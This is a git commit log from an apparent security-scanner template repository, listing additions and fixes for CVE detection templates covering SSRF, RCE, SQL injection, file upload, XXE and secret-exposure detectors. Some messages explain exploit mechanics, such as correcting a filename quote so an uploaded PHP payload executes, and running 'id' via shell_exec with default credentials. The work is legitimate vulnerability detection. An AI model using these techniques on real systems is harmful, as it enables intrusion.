Co-Authored-By: Claude Sonnet 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Tz1bTiCPJYp7e4j2RFk2BA
2026-08-03 06:59:45 +00:00
Prince Chaddha 83234ce456 updated workflows 2026-08-03 13:55:24 +07:00
Claude 946dd0f95d Add template for CVE-2026-32255 (Kan SSRF)
Unauthenticated SSRF in Kan's /api/download/attatchment endpoint
(<= 0.5.4) via the unvalidated url query parameter. Detection uses an
interactsh OOB callback to confirm the outbound request without
reading any internal data.

Co-Authored-By: Claude Sonnet 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Tz1bTiCPJYp7e4j2RFk2BA
2026-08-03 06:51:44 +00:00
ghost 2c6b2e1482 chore: generate templates checksum 🤖 2026-08-03 05:36:58 +00:00
ghost 3e6c29e1e0 chore: generate new addition list 🤖 2026-08-03 05:35:11 +00:00
ghost 560930671c chore: sign templates 🤖 2026-08-03 05:34:25 +00:00
Dhiyaneshwaran 9cd0e3071d Merge pull request #16714 from rxerium/add-product-detection-coverage
Add product detection templates
2026-08-03 11:04:03 +05:30
ghost e4591da0eb chore: generate templates checksum 🤖 2026-08-03 05:04:22 +00:00
ghost db128d7542 chore: sign templates 🤖 2026-08-03 05:01:52 +00:00
Roberto Nunes c92808f53e Merge pull request #16731 from daffainfo/patch-603914
Rename Wix-detect.yaml to wix-detect.yaml
2026-08-03 14:01:33 +09:00
ghost 470882de1d chore: generate templates checksum 🤖 2026-08-03 04:48:17 +00:00
github-actions[bot] 88e9a068ad chore: add impact and remediation fields 🤖 2026-08-03 04:46:25 +00:00
ghost 776c70ef32 chore: sign templates 🤖 2026-08-03 04:45:40 +00:00
ghost 4056b97bd5 chore: generate CVEs metadata 🤖 2026-08-03 04:45:36 +00:00
Roberto Nunes e72d3628d6 Merge pull request #16730 from daffainfo/patch-446759
Rename CVE file to match naming convention
2026-08-03 13:45:19 +09:00
Roberto Nunes c2d915edcb Merge pull request #16682 from gotr00t0day/main
Update CVE-2026-63030.yaml
2026-08-03 13:44:50 +09:00
Roberto Nunes af5209508e Merge pull request #16704 from shreyas-malhotra/patch-3
fix(CVE-2025-32969): remove incorrect content_type matcher
2026-08-03 13:44:45 +09:00
Roberto Nunes a8b62d8e46 improve for matching old & new instances 2026-08-03 13:40:30 +09:00
ghost 3d6fc9ff28 chore: generate templates checksum 🤖 2026-08-03 04:39:36 +00:00
Muhammad Daffa ca8e67f555 Rename Wix-detect.yaml to wix-detect.yaml 2026-08-03 11:39:13 +07:00
Roberto Nunes 61b7661142 avoid weak matcher & FP 2026-08-03 13:39:06 +09:00
Muhammad Daffa 4704a86e10 Rename CVE file to match naming convention 2026-08-03 11:38:20 +07:00
Roberto Nunes de9be20073 Update rubrik-panel.yaml 2026-08-03 13:38:15 +09:00
Muhammad Daffa 1fd2638923 Rename cve-2026-44338.yaml to CVE-2026-44338.yaml 2026-08-03 11:37:45 +07:00
ghost efaba81ff3 chore: sign templates 🤖 2026-08-03 04:37:26 +00:00
ghost 2a33182c7f chore: generate new addition list 🤖 2026-08-03 04:37:22 +00:00
Roberto Nunes 0abd1388a4 Merge pull request #16703 from righettod/airflow_upd
Refactor the "AIRFLOW" template.
2026-08-03 13:37:06 +09:00
ghost a62e405de8 chore: generate CVEs metadata 🤖 2026-08-03 04:36:47 +00:00
ghost 4a88fc819b chore: sign templates 🤖 2026-08-03 04:36:45 +00:00
Roberto Nunes 87d83db80d Merge pull request #16728 from projectdiscovery/CVE-2025-6389
CVE-2025-6389 - Sneeit WP Social WordPress Plugin - Unauthenticated RCE via call_user_func
2026-08-03 13:36:17 +09:00
Akokonunes 071171a2b6 Move abb-ability-genix-detect to technologies
The template is a product/technology fingerprint (tags: tech), not an
exposed login panel, so http/technologies/ is the correct location.
2026-08-03 13:33:54 +09:00
Dhiyaneshwaran 903f8df00d Merge branch 'main' into main 2026-08-03 10:02:20 +05:30
Prince Chaddha 126e9f7769 Merge branch 'main' into fp-flow 2026-08-03 11:26:39 +07:00
ghost 4364d39380 chore: update KEV and vKEV tags and metadata 🤖 2026-08-03 04:14:27 +00:00
ghost 829fe97549 chore: generate templates checksum 🤖 2026-08-03 04:04:24 +00:00
ghost 69d286e114 chore: generate new addition list 🤖 2026-08-03 04:02:34 +00:00
ghost 2ea7f91fd9 chore: generate CVEs metadata 🤖 2026-08-03 04:01:59 +00:00
ghost 451ea21237 chore: sign templates 🤖 2026-08-03 04:01:52 +00:00
Aman Rawat 984c74d51c Merge pull request #16727 from projectdiscovery/Akokonunes-patch-10
Add CVE-2026-60004.yaml - Gitea <= 1.27.0 - Pre-Auth Remote Code Execution
2026-08-03 09:31:30 +05:30
Dhiyaneshwaran ca770916f2 Merge branch 'main' into patch-3 2026-08-03 09:31:24 +05:30
Dhiyaneshwaran 953bbcaf40 Update CVE-2025-32969.yaml 2026-08-02 21:00:33 -07:00
Dhiyaneshwaran bec6c83dd8 CVE-2025-6389 - Sneeit WP Social WordPress Plugin - Unauthenticated RCE via call_user_func 2026-08-02 20:43:18 -07:00
Roberto Nunes 45ff5cf442 Revise CVE-2026-48030 details and format
Updated CVE-2026-48030 YAML file with improved descriptions and additional metadata.
2026-08-03 12:12:58 +09:00
ghost b1d25fc0e9 chore: update EPSS scores 🤖 2026-08-03 03:00:43 +00:00
Roberto Nunes 28697f8683 Update CVE-2026-60004.yaml with new request flows 2026-08-03 10:21:15 +09:00
Roberto Nunes 782d12da6b Add CVE-2026-60004 vulnerability details
CVE-2026-60004 describes a critical remote code execution vulnerability in Gitea versions 1.17 through 1.27.0. The YAML file includes details about the vulnerability, its impact, remediation steps, and a flow for exploiting the vulnerability.
2026-08-03 10:14:19 +09:00
ghost 38e315e254 chore: generate new addition list 🤖 2026-08-03 00:24:00 +00:00
ghost 9ebb5a6b15 chore: generate CVEs metadata 🤖 2026-08-03 00:23:11 +00:00
Roberto Nunes 4cb19954b3 Merge pull request #16713 from projectdiscovery/CVE-2019-14793
Create CVE-2019-14793.yaml (Passive)
2026-08-03 09:22:53 +09:00
ghost c052027a62 chore: generate new addition list 🤖 2026-08-03 00:22:16 +00:00
ghost ebc4b95cf6 chore: generate new addition list 🤖 2026-08-03 00:22:06 +00:00
ghost 88d79966b0 chore: generate CVEs metadata 🤖 2026-08-03 00:21:41 +00:00
Roberto Nunes ad3141bc4d Merge pull request #16129 from projectdiscovery/pussycat0x-patch-26
Create CVE-2025-2505.yaml
2026-08-03 09:21:18 +09:00
Roberto Nunes 703c566a42 Merge pull request #16583 from iamatownboy/add-cve-2026-30623-litellm
Add CVE-2026-30623 LiteLLM MCP Stdio Command Injection template
2026-08-03 09:21:01 +09:00
Roberto Nunes 4940c97c7a Merge pull request #16706 from daffainfo/patch-158005
Update htaccess-config.yaml with new paths
2026-08-03 09:20:53 +09:00
munzzyy d97dc38908 Fix nh-c2 never matching due to contradictory status check
The dsl matcher requires status_code == 301 && status_code == 302, which
no single response can satisfy, so with condition: and the matcher never
evaluates true and the template can never fire. NH C2 panels answer the
root path with a redirect, so the intent is 301 or 302, not both at once.

Switched && to || so the redirect check accepts either status while the
sha1(body) fingerprint still gates the match.

Verified with nuclei v3.11.0 against a mock host, with the sha1
fingerprint swapped for the hash of the body that host returns so only
the status operator differed: the old expression matched nothing on a 301
or a 302, the fixed one matches both and still ignores a 200.

Signed-off-by: munzzyy <[email protected]>
2026-08-02 13:36:42 -05:00
Aryu-RU 565b536848 Add CVE-2025-11953 React Native Community CLI command injection
The Metro dev server exposes an unauthenticated /open-url endpoint that
passes the url straight to open(). Detection probes the endpoint with an
inert non-http scheme rather than the reported version, since the fix was
backported across the 17.x, 18.x, 19.x and 20.x lines.
2026-08-02 09:33:34 +00:00
Prince Chaddha a8fe0e7798 Update CVE-2025-51586.yaml 2026-08-02 12:03:28 +07:00
Prince Chaddha d489710cb8 Update CVE-2025-32463.yaml 2026-08-02 12:02:51 +07:00
Prince Chaddha 7f6b1ff7da Update CVE-2024-41667.yaml 2026-08-02 12:02:20 +07:00
Prince Chaddha 14b84d47d2 Update leantime-stored-xss.yaml 2026-08-02 12:01:34 +07:00
Prince Chaddha 67f540f07e Update CVE-2020-36836.yaml 2026-08-02 12:01:06 +07:00
Prince Chaddha 3f85d13dfb Update CVE-2025-6197.yaml 2026-08-02 12:00:40 +07:00
Prince Chaddha 517aca8324 Update CVE-2024-50857.yaml 2026-08-02 12:00:12 +07:00
Prince Chaddha 89e9da8238 Update CVE-2024-4841.yaml 2026-08-02 11:59:58 +07:00
Prince Chaddha 1542a3177d Update CVE-2023-6750.yaml 2026-08-02 11:59:38 +07:00
Prince Chaddha 35360c9287 Update CVE-2023-43177.yaml 2026-08-02 11:59:13 +07:00
Prince Chaddha f8546dccf5 Update CVE-2023-27847.yaml 2026-08-02 11:58:57 +07:00
Prince Chaddha 3fd1e04dac Update CVE-2025-20188.yaml 2026-08-02 11:58:27 +07:00
Prince Chaddha e4c68516a5 Update CVE-2026-1492.yaml 2026-08-02 11:58:03 +07:00
Prince Chaddha bb97c17ebd Update CVE-2019-9757.yaml 2026-08-02 11:57:24 +07:00
Prince Chaddha 16277fb12d Update CVE-2023-46818.yaml 2026-08-02 11:57:06 +07:00
Prince Chaddha cf77a01228 Update vbulletin-path-disclosure.yaml 2026-08-02 11:56:16 +07:00
Prince Chaddha c22e0b8fc9 Update doccano-default-login.yaml 2026-08-02 11:55:27 +07:00
Prince Chaddha 99b4076517 Update puppetdb-dashboard-unauth.yaml 2026-08-02 11:55:07 +07:00
Prince Chaddha 5de61430c5 Update ektron-blog-xmlrpc-xxe.yaml 2026-08-02 11:54:52 +07:00
Prince Chaddha fe1a32b4e8 Update tongdaoa-auth-bypass.yaml 2026-08-02 11:54:41 +07:00
Prince Chaddha 9e47f47e9a Update wp-livechat-stored-xss.yaml 2026-08-02 11:54:30 +07:00
Prince Chaddha 918d997bef Update CVE-2018-6882.yaml 2026-08-02 11:54:18 +07:00
Prince Chaddha d60c4b2a04 Update CVE-2025-49113.yaml 2026-08-02 11:54:03 +07:00
Prince Chaddha 7e24c87e1d Update CVE-2026-23482.yaml 2026-08-02 11:53:42 +07:00
Prince Chaddha f6ccb476be Update CVE-2024-34470.yaml 2026-08-02 11:53:34 +07:00
Prince Chaddha 88c8bbfc1c Update CVE-2023-3578.yaml 2026-08-02 11:53:18 +07:00
Prince Chaddha 86f60b4639 Update CVE-2026-55592.yaml 2026-08-02 11:51:31 +07:00
Meet Rathod d4cd5b73e5 Add Firebase Authentication fingerprint template 2026-08-02 03:10:26 +00:00
ghost f5a1370a5c chore: update EPSS scores 🤖 2026-08-02 03:00:19 +00:00
juoum00000 a95750cbdd Added Template for CVE-2026-48030 (Pheditor command injection)
This PR adds a template for CVE-2026-48030, an OS command injection vulnerability in Pheditor versions 2.0.1 through 2.0.3.

The vulnerability occurs in the terminal action handler where the dir parameter is passed to shell_exec() without sanitization. This template authenticates using the default credentials (admin), extracts the CSRF token, and safely executes the id command to verify the vulnerability.

References:
- https://github.com/advisories/GHSA-jvc5-6g7q-c843
- https://github.com/muslimbek-0x/CVE-2026-48030
2026-08-01 22:51:33 +01:00
Rishi e8a771ba12 Merge branch 'main' into add-product-detection-coverage 2026-08-01 19:28:51 +01:00
ghost 1532cc9ca1 chore: generate templates checksum 🤖 2026-08-01 10:05:53 +00:00
ghost b6b8d31dee chore: generate new addition list 🤖 2026-08-01 10:03:41 +00:00
ghost 64e1e8adb4 chore: sign templates 🤖 2026-08-01 10:03:16 +00:00
pussycat0x ade4713391 Merge pull request #16581 from Th3l0newolf/ubuntu-phase-4-CIS
Ubuntu CIS Phase 4 Templates
2026-08-01 15:32:46 +05:30
rxerium 93c25eaf1e feat: add product detection templates 2026-08-01 09:05:33 +01:00
Ritik Chaddha 460377a98a Create CVE-2019-14793.yaml 2026-08-01 12:41:40 +07:00
ghost e3b1b785e6 chore: update KEV and vKEV tags and metadata 🤖 2026-08-01 04:09:25 +00:00
ghost 84cf2b9047 chore: update EPSS scores 🤖 2026-08-01 03:00:34 +00:00
BoX FanandClaude Opus 5 464407db01 fix(cve-2023-37629): close filename quote before the .php extension
The pigphoto part closes its filename quote before .php instead of after
it, so the extension never reaches the target:

    filename="{{rand_base(5)}}".php"

PHP's multipart parser reads the quoted string as filename="<rand>" and
discards the trailing .php", storing the upload without an extension.
Fetching it back returns the payload as text instead of executing it, so
the template reports critical RCE while the planted file is inert. With
the quote moved, the same request stores <rand>.php and the payload runs.

Verified with nuclei v3.11.0 against php:8.3-apache (PHP 8.3.33) and a
stand-in upload endpoint: before, $_FILES name is <rand> and the file is
served verbatim; after, it is <rand>.php and executes.

The referenced PoC uploads with curl -F [email protected], which emits
a balanced filename="shell.php", confirming <rand>.php is intended.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-01 10:51:00 +08:00
ghost 8dd4ae74ca chore: generate templates checksum 🤖 2026-07-31 15:14:17 +00:00
ghost f28a882a5f chore: generate new addition list 🤖 2026-07-31 15:13:01 +00:00
ghost 0b590c4e2d chore: sign templates 🤖 2026-07-31 15:10:33 +00:00
ghost 8bb5d616c0 chore: generate CVEs metadata 🤖 2026-07-31 15:10:19 +00:00
Aman Rawat eeb94eb2c3 Merge pull request #16561 from segfault-myass/CVE-2026-55450
Add CVE 2026 55450 Langflow Unauthenticated File Upload
2026-07-31 20:40:01 +05:30
Aman Rawat 45e8665187 Update htaccess-config.yaml 2026-07-31 20:36:29 +05:30
Aman Rawat a9ebc948f6 Update CVE-2026-55450.yaml 2026-07-31 20:35:48 +05:30
pussycat0x db6592cfee Update CVE-2026-55450.yaml 2026-07-31 18:17:28 +05:30
pussycat0x 6451c4919a minor -changes 2026-07-31 17:55:46 +05:30
Muhammad Daffa 41445b22c7 Update htaccess-config.yaml with new paths 2026-07-31 16:09:34 +07:00
ghost fb3de8de47 chore: generate templates checksum 🤖 2026-07-31 06:36:02 +00:00
ghost f63f4e5339 chore: generate new addition list 🤖 2026-07-31 06:33:55 +00:00
ghost d5f9cdc15a chore: sign templates 🤖 2026-07-31 06:33:17 +00:00
pussycat0x eb394f8f18 Merge pull request #16701 from shadowhunter-92/add-claude-code-settings-detector
Add Claude Code project settings exposure detector (.claude/settings.json, .mcp.json)
2026-07-31 12:02:52 +05:30
ghost 37c1f4655e chore: generate templates checksum 🤖 2026-07-31 06:11:37 +00:00
ghost e8668a4e8d chore: generate new addition list 🤖 2026-07-31 06:09:49 +00:00
ghost 1914bcc243 chore: sign templates 🤖 2026-07-31 06:09:02 +00:00
ghost 1eab5fb678 chore: generate CVEs metadata 🤖 2026-07-31 06:08:57 +00:00
Aman Rawat 19e3c23e0e Merge pull request #16693 from projectdiscovery/pussycat0x-patch-25
Create CVE-2025-68493.yaml
2026-07-31 11:38:33 +05:30
ghost 085fc08c91 chore: update KEV and vKEV tags and metadata 🤖 2026-07-31 04:09:44 +00:00
ghost e0b8ee64a4 chore: update EPSS scores 🤖 2026-07-31 03:00:44 +00:00
Shreyas Malhotra 5472a52b65 Clean up comments in CVE-2025-32969.yaml
Removed comments regarding Content-Type handling in the REST endpoint.
2026-07-31 01:49:56 +05:30
Shreyas Malhotra dc0d8d72a7 fix(CVE-2025-32969): remove incorrect content_type matcher
The XWiki REST API returns Content-Type: application/xml, not
text/javascript. The text/javascript value only appears in the
Content-Script-Type header, which nuclei's content_type DSL
variable does not read.

This caused the template to never fire
despite the vulnerability being present and the other three
matchers passing.

Removed the broken condition; the remaining
three matchers (duration>=7, status_code==200, body contents)
are sufficient for unambiguous detection.
2026-07-31 00:47:35 +05:30
Dominique RIGHETTO 0b8847f51e Fix formatting of condition in airflow-detect.yaml 2026-07-30 18:25:25 +02:00
Dominique RIGHETTO 22172ecc81 Enhance airflow-detect.yaml with new details
Updated author, added description, and modified matchers.
2026-07-30 18:16:32 +02:00
Dhiyaneshwaran b2dc993e83 Refactor matchers in CVE-2026-63030.yaml 2026-07-30 17:09:38 +05:30
Dhiyaneshwaran 07b897f692 Delete http/exposures/tokens/anthropic/anthropic-api-key.yaml 2026-07-30 17:08:17 +05:30
Dhiyaneshwaran 36e3a02cdd Refactor Claude settings exposure configuration
Removed unnecessary HTTP settings and regex extractors, and updated matchers.
2026-07-30 17:06:17 +05:30
ghost 6a937552e9 chore: generate templates checksum 🤖 2026-07-30 11:33:26 +00:00
ghost 1dac00658c chore: generate new addition list 🤖 2026-07-30 11:31:34 +00:00
ghost fa878b5527 chore: sign templates 🤖 2026-07-30 11:30:50 +00:00
ghost 0a90950aae chore: generate CVEs metadata 🤖 2026-07-30 11:30:45 +00:00
Dhiyaneshwaran 19f4659cc3 Merge pull request #16696 from projectdiscovery/Akokonunes-patch-10
Create CVE-2026-65694.yaml - Microweber CMS <= 2.0.20 - Unauthenticated Arbitrary File Read
2026-07-30 17:00:30 +05:30
ghost 2571c3cb4e chore: generate templates checksum 🤖 2026-07-30 10:32:22 +00:00
ghost e698565fa8 chore: generate new addition list 🤖 2026-07-30 10:30:23 +00:00
ghost 4130941b9f chore: sign templates 🤖 2026-07-30 10:29:44 +00:00
ghost 82e6d890a5 chore: generate CVEs metadata 🤖 2026-07-30 10:29:40 +00:00
Roberto Nunes 7112c1b6c1 Merge pull request #16691 from projectdiscovery/CVE-2025-71334
CVE-2025-71334 - Flowise - Path Traversal
2026-07-30 19:29:21 +09:00
shadowhunter-92 4ca8eb413f Add Claude Code project settings exposure detector 2026-07-30 12:49:04 +05:00
shadowhunter-92 6ad76784a0 Move settings-exposure template to dedicated branch 2026-07-30 12:49:00 +05:00
shadowhunter-92 a64941c8dc Add Claude Code project settings exposure detector 2026-07-30 12:47:15 +05:00
shadowhunter-92 799c7da1b8 Fix author line to match GitHub username 2026-07-30 12:32:12 +05:00
shadowhunter-92 a32cc8c57a Add Anthropic API key exposure detector 2026-07-30 12:28:25 +05:00
ghost d9cdda7e7a chore: generate templates checksum 🤖 2026-07-30 07:22:48 +00:00
ghost 5f5fe47c31 chore: generate new addition list 🤖 2026-07-30 07:20:42 +00:00
ghost 13cbb0459d chore: sign templates 🤖 2026-07-30 07:19:55 +00:00
ghost 8cfbb800c5 chore: generate CVEs metadata 🤖 2026-07-30 07:19:52 +00:00
pussycat0x fea8458e6e Merge pull request #16043 from tx1ee/add-CVE-2025-54988-tika-xxe
Add CVE-2025-54988: Apache Tika XXE Injection
2026-07-30 12:49:35 +05:30
ghost 44278497a7 chore: generate templates checksum 🤖 2026-07-30 07:05:32 +00:00
ghost 1270fd5d29 chore: sign templates 🤖 2026-07-30 07:03:02 +00:00
pussycat0x 1be9adfe5a Merge pull request #16668 from DPS0340/fix/thinkphp6-status-code-2
fix(thinkphp6-arbitrary-write): the dsl variable is status_code_2, not status_2
2026-07-30 12:32:41 +05:30
pussycat0x 1c5024730f Update CVE-2025-54988.yaml 2026-07-30 12:29:55 +05:30
pussycat0x 7440dd52f9 Update thinkphp6-arbitrary-write.yaml 2026-07-30 12:13:51 +05:30
ghost 9cba21fc41 chore: update KEV and vKEV tags and metadata 🤖 2026-07-30 04:02:34 +00:00
ghost 66442328eb chore: update EPSS scores 🤖 2026-07-30 02:59:45 +00:00
Roberto Nunes 00a76d6c50 Create CVE-2026-13147.yaml 2026-07-30 10:52:26 +09:00
Roberto Nunes b95ebd83d1 Update CVE-2026-65694 author information 2026-07-30 10:39:26 +09:00
Roberto Nunes f21e699d6d Create CVE-2026-65694.yaml 2026-07-30 10:37:04 +09:00
pussycat0x 0a103f12ed Create CVE-2025-68493.yaml 2026-07-29 17:58:27 +05:30
Aman Rawat ce8af573cc Create CVE-2026-27542.yaml 2026-07-29 16:05:33 +05:30
Aman Rawat ee3bf60642 Create CVE-2025-71334.yaml 2026-07-29 15:50:52 +05:30
Roberto Nunes 22f7231b47 Create CVE-2026-14894.yaml 2026-07-29 18:45:56 +09:00
Jerome FELLUS 6d97713748 feat(CVE-2026-65761): add template for Joomla Easy Store extension Unauthenticated SQL Injection 2026-07-29 11:09:00 +02:00
ghost 9979ce144c chore: generate templates checksum 🤖 2026-07-29 07:26:32 +00:00
ghost 85a8ba620e chore: generate new addition list 🤖 2026-07-29 07:24:42 +00:00
ghost 801484a1cc chore: generate CVEs metadata 🤖 2026-07-29 07:24:00 +00:00
ghost 3735f0f595 chore: sign templates 🤖 2026-07-29 07:23:52 +00:00
pussycat0x 607adada97 Merge pull request #16650 from iamatownboy/pr/cve-2026-4987
Add CVE-2026-4987 SureForms payment bypass template
2026-07-29 12:53:30 +05:30
ghost ab255c7216 chore: generate templates checksum 🤖 2026-07-29 07:01:45 +00:00
ghost ed5b0bd805 chore: generate new addition list 🤖 2026-07-29 07:00:37 +00:00
ghost 7c4a20d1c6 chore: generate CVEs metadata 🤖 2026-07-29 06:59:29 +00:00
ghost 713694365e chore: sign templates 🤖 2026-07-29 06:59:25 +00:00
Ritik Chaddha 795f5f4286 Merge pull request #16678 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-49952.yaml - Discuz! X5.0 - Authentication Bypass via UC_KEY Encryption Oracle
2026-07-29 13:59:06 +07:00
ghost b5cc88b9f0 chore: generate new addition list 🤖 2026-07-29 06:57:34 +00:00
ghost dbe0ddc780 chore: generate CVEs metadata 🤖 2026-07-29 06:56:48 +00:00
ghost 6940c3d7d6 chore: sign templates 🤖 2026-07-29 06:56:43 +00:00
Dhiyaneshwaran 26ff686384 Merge pull request #16684 from projectdiscovery/Akokonunes-patch-10
Add CVE-2026-44825.yaml - Apache Solr 9.4.0-9.10.1 / 10.0.0 - Hardcoded Default Credentials
2026-07-29 12:26:22 +05:30
Dhiyaneshwaran 0797f90893 Refine CVE-2026-44825 details and structure
Updated the CVE description for clarity and removed redundant matchers and extractors.
2026-07-29 12:21:33 +05:30
ghost 0703e486d8 chore: generate templates checksum 🤖 2026-07-29 06:45:36 +00:00
Dhiyaneshwaran f1f0c3f000 Merge pull request #16687 from daffainfo/patch-352621
Delete http/vulnerabilities/other/geovision-geowebserver-lfi.yaml
2026-07-29 12:12:26 +05:30
ghost ee41e20d73 chore: generate templates checksum 🤖 2026-07-29 05:41:26 +00:00
Aman Rawat 1193722382 Merge pull request #16686 from daffainfo/patch-552922
Delete http/vulnerabilities/other/geovision-geowebserver-xss.yaml
2026-07-29 11:08:50 +05:30
Aman Rawat a8958a2bef Merge pull request #16680 from daffainfo/patch-709746
Delete http/exposures/configs/config-json.yaml
2026-07-29 11:08:21 +05:30
ghost d2a6ae1020 chore: generate templates checksum 🤖 2026-07-29 05:35:01 +00:00
ghost c46bc27d57 chore: generate new addition list 🤖 2026-07-29 05:33:12 +00:00
ghost 32d7aff472 chore: generate new addition list 🤖 2026-07-29 05:32:58 +00:00
ghost fa0dcc582f chore: generate CVEs metadata 🤖 2026-07-29 05:32:23 +00:00
ghost 3052255b67 chore: sign templates 🤖 2026-07-29 05:32:18 +00:00
Ritik Chaddha d97bbbf192 Merge pull request #16652 from iamatownboy/pr/cve-2026-39468
Add CVE-2026-39468 Meta Box template
2026-07-29 12:31:59 +07:00
Ritik Chaddha 722e1cda9a Merge pull request #16660 from y0no/add-dolibarr-cve-2026-34036
Create CVE-2026-34036.yaml
2026-07-29 12:31:51 +07:00
ghost 151af53dd5 chore: generate templates checksum 🤖 2026-07-29 05:29:55 +00:00
Ritik Chaddha 6d5b1e16d6 Update CVE-2026-49952.yaml 2026-07-29 12:28:06 +07:00
ghost cc3d3b9bbe chore: sign templates 🤖 2026-07-29 05:27:44 +00:00
Ritik Chaddha adcb49aba1 Merge pull request #16672 from munzzyy/fix/nfs-v3-exposed-accept-stat
Fix nfs-v3-exposed matching PROG_UNAVAIL as a valid hit
2026-07-29 12:27:25 +07:00
ghost 8a4884de10 chore: sign templates 🤖 2026-07-29 05:27:17 +00:00
Ritik Chaddha d75b5a7474 Merge pull request #16667 from DPS0340/fix/portal-api-ssrf-interactsh-part
fix(portal-api-ssrf): extractor part is interactsh_request, not interactsh
2026-07-29 12:26:56 +07:00
Ritik Chaddha b1137e7cc6 Update CVE-2026-34036.yaml 2026-07-29 12:26:17 +07:00
Ritik Chaddha 51962e9186 Update CVE-2026-39468.yaml 2026-07-29 12:25:22 +07:00
ghost 90c00ab062 chore: generate templates checksum 🤖 2026-07-29 05:05:14 +00:00
ghost 14ee8805c9 chore: generate new addition list 🤖 2026-07-29 05:02:47 +00:00
ghost c99d355aa4 chore: sign templates 🤖 2026-07-29 05:02:25 +00:00
ghost dc6dfa85fc chore: generate CVEs metadata 🤖 2026-07-29 05:02:22 +00:00
Roberto Nunes c7cf4002e4 Merge pull request #16685 from daffainfo/patch-357248
Rename filename CVE-2021-45046 to CVE-2021-45046-DAST
2026-07-29 14:02:04 +09:00
Roberto Nunes f6028603c6 Merge pull request #16688 from daffainfo/patch-558923
Fix id + filename for IBM DB2 Server
2026-07-29 14:01:47 +09:00
Roberto Nunes b3cfbb1292 Merge pull request #16689 from projectdiscovery/CVE-2026-16232-js
Update tags in CVE-2026-16232.yaml
2026-07-29 14:01:39 +09:00
Dhiyaneshwaran 54d2474ef1 Update tags in CVE-2026-16232.yaml 2026-07-29 10:23:46 +05:30
Muhammad Daffa f88d95539d Fix id + filename for IBM DB2 Server 2026-07-29 10:19:10 +07:00
Muhammad Daffa 8864a7ffa2 Delete http/vulnerabilities/other/geovision-geowebserver-lfi.yaml 2026-07-29 10:11:34 +07:00
Muhammad Daffa 8d73a422a9 Delete http/vulnerabilities/other/geovision-geowebserver-xss.yaml 2026-07-29 10:11:07 +07:00
ghost de1ab28cf2 chore: update EPSS scores 🤖 2026-07-29 03:00:02 +00:00
ghost b001404514 chore: generate templates checksum 🤖 2026-07-29 02:51:26 +00:00
Muhammad Daffa 5784514e5a Add CVE-2021-45046 DAST configuration file 2026-07-29 09:50:41 +07:00
ghost e0a5f09d68 chore: sign templates 🤖 2026-07-29 02:48:52 +00:00
Roberto Nunes 805eca6246 Merge pull request #16671 from DPS0340/fix/cve-2025-2075-setup-matchers
fix(CVE-2025-2075): mark the setup-stage matchers internal
2026-07-29 11:48:27 +09:00
ghost 31336d0784 chore: generate templates checksum 🤖 2026-07-29 02:46:09 +00:00
ghost 53b01f8375 chore: generate new addition list 🤖 2026-07-29 02:44:12 +00:00
ghost bc1123e5ae chore: sign templates 🤖 2026-07-29 02:43:36 +00:00
ghost d5a46b2c44 chore: generate CVEs metadata 🤖 2026-07-29 02:43:29 +00:00
Roberto Nunes 10be6474a4 Merge pull request #16675 from mbmy/patch-1
fix intrusive tag typo in CVE-2023-34124.yaml
2026-07-29 11:43:15 +09:00
Roberto Nunes 08c7708abd Merge pull request #16683 from projectdiscovery/CVE-2026-16232
CVE-2026-16232 - Check Point Security Management Server - SmartConsole Authentication Bypass
2026-07-29 11:43:06 +09:00
Roberto Nunes 0d4679943d Add CVE-2026-44825 for Apache Solr vulnerability
Added CVE-2026-44825 for Apache Solr hardcoded credentials vulnerability, detailing severity, impact, remediation, and references.
2026-07-29 10:21:36 +09:00
Dhiyaneshwaran dc057b1a13 CVE-2026-16232 - Check Point Security Management Server - SmartConsole Authentication Bypass 2026-07-29 03:03:07 +05:30
gotr00t0day 33ef3e672d Update CVE-2026-63030.yaml 2026-07-28 16:11:11 -04:00
Muhammad Daffa 89aa76be77 Delete http/exposures/configs/config-json.yaml 2026-07-28 18:42:01 +07:00
ghost 3887f9deba chore: generate templates checksum 🤖 2026-07-28 10:50:09 +00:00
ghost fd7b8cae9d chore: sign templates 🤖 2026-07-28 10:49:23 +00:00
Dhiyaneshwaran e0e3714613 Merge pull request #16669 from DPS0340/fix/unconsumed-internal-extractors
fix: unhide two extractors that nothing consumes
2026-07-28 16:19:00 +05:30
Dhiyaneshwaran a1509fe5bb Update CVE-2026-4987.yaml 2026-07-28 16:18:40 +05:30
ghost 31ff84e435 chore: sign templates 🤖 2026-07-28 10:47:00 +00:00
Dhiyaneshwaran f68333ddb2 Merge pull request #16664 from DPS0340/fix/code-template-unsupported-lookahead
fix: replace an unsupported lookahead that made home-env-permission fail to load
2026-07-28 16:16:33 +05:30
Dhiyaneshwaran 20a233b85e Merge branch 'main' into fix/unconsumed-internal-extractors 2026-07-28 16:14:38 +05:30
ghost 648d5e4c5a chore: sign templates 🤖 2026-07-28 10:44:04 +00:00
Dhiyaneshwaran 12a5f7c5b8 Merge pull request #16677 from rxerium/add-arista-velocloud-favicon
add Arista VeloCloud favicon hash to favicon-detect
2026-07-28 16:13:37 +05:30
pussycat0x 0a897c3c59 Update portal-api-ssrf.yaml 2026-07-28 11:35:41 +05:30
ghost c9097bc88f chore: generate templates checksum 🤖 2026-07-28 05:45:07 +00:00
ghost 2fa409975f chore: generate new addition list 🤖 2026-07-28 05:43:39 +00:00
ghost 55b5cebcc6 chore: generate CVEs metadata 🤖 2026-07-28 05:43:17 +00:00
ghost f18f58e0f4 chore: generate new addition list 🤖 2026-07-28 05:43:07 +00:00
pussycat0x 1b12bdb737 Merge pull request #16649 from iamatownboy/pr/cve-2026-3335
Add CVE-2026-3335 Canto template
2026-07-28 11:12:53 +05:30
ghost 4682b3e13d chore: generate CVEs metadata 🤖 2026-07-28 05:42:42 +00:00
ghost 39435de889 chore: sign templates 🤖 2026-07-28 05:42:32 +00:00
pussycat0x 680c7d94ae Merge pull request #16657 from ywh-jfellus/ywh-CVE-2026-9192
add template for CVE-2026-9198 - IBM Langflow Unauthenticated RCE via Auto-Login Bypass
2026-07-28 11:12:13 +05:30
ghost 3f89dd7143 chore: generate templates checksum 🤖 2026-07-28 05:38:05 +00:00
ghost 1779194bd8 chore: generate new addition list 🤖 2026-07-28 05:37:25 +00:00
ghost d67d769f2e chore: generate CVEs metadata 🤖 2026-07-28 05:36:55 +00:00
ghost a825b9a4b7 chore: sign templates 🤖 2026-07-28 05:36:51 +00:00
